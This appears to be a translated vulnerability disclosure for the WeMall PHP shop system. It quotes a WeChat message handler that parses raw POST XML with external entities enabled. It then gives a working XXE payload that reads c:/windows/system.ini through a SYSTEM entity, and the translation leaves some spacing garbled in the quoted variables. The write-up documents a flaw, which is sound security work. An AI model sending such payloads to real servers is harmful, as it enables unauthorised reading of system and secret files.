Wemall WeChat open source PHP mall system xml Entity Injection

Wemall open source PHP mall system xml Entity Injection

WeMall provides the best and most convenient interfaces, including membership cards, coupons, big turntable, group buying, World War I, micro websites, micro albums, and online reservations. Make your operation easy !...

Weixin. php
 

if (! isset ( $_GET ['echostr'] )) {$wechatObj->responseMsg ();} else {$wechatObj->valid();}    public function responseMsg()    {//get post data, May be due to the different environments$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];      //extract post dataif (!empty($postStr)){               $postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);                $fromUsername = $postObj->FromUserName;                $toUsername = $postObj->ToUserName;                $keyword = trim($postObj->Content);                $time = time();                $event = $postObj->Event;                $textTpl = "<xml><ToUserName><![CDATA[%s]]></ToUserName><FromUserName><![CDATA[%s]]></FromUserName><CreateTime>%s</CreateTime><MsgType><![CDATA[%s]]></MsgType><Content><![CDATA[%s]]></Content><FuncFlag>0</FuncFlag></xml>";                                  $newsTpl = "<xml><ToUserName><![CDATA[%s]]></ToUserName><FromUserName><![CDATA[%s]]></FromUserName><CreateTime>%s</CreateTime><MsgType><![CDATA[%s]]></MsgType><ArticleCount>1</ArticleCount><Articles><item><Title><![CDATA[%s]]></Title><Description><![CDATA[%s]]></Description><PicUrl><![CDATA[%s]]></PicUrl><Url><![CDATA[%s]]></Url></item></Articles></xml>";if(!empty( $keyword ))                {          $msgType = "news";                $Url =  $this->appurl.$fromUsername;                $resultStr = sprintf($newsTpl, $fromUsername, $toUsername, $time, $msgType, $this->title,  $this->description, $this->picurl, $Url);                echo $resultStr;                }else{                     。。。。。。。。。。。。。。。

When get echostr is empty, the responseMsg function is executed.

$ PostStr = $ GLOBALS ["HTTP_RAW_POST_DATA"];

$ Keyword = trim ($ postObj-> Content) after receiving data );

If keyword is not empty, $ resultStr = sprintf ($ newsTpl, $ fromUsername, $ toUsername, $ time, $ msgType, $ this-> title, $ this-> description, $ this-> picurl, $ Url );

Echo $ resultStr;



We submit post
 

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE copyright [<!ENTITY test SYSTEM "file:///c:/windows/system.ini">]><xml><ToUserName>&test;</ToUserName><FromUserName>111</FromUserName><CreateTime>1402550611</CreateTime><MsgType>123</MsgType><FuncFlag>0</FuncFlag><Content>123</Content></xml>

File Read successfully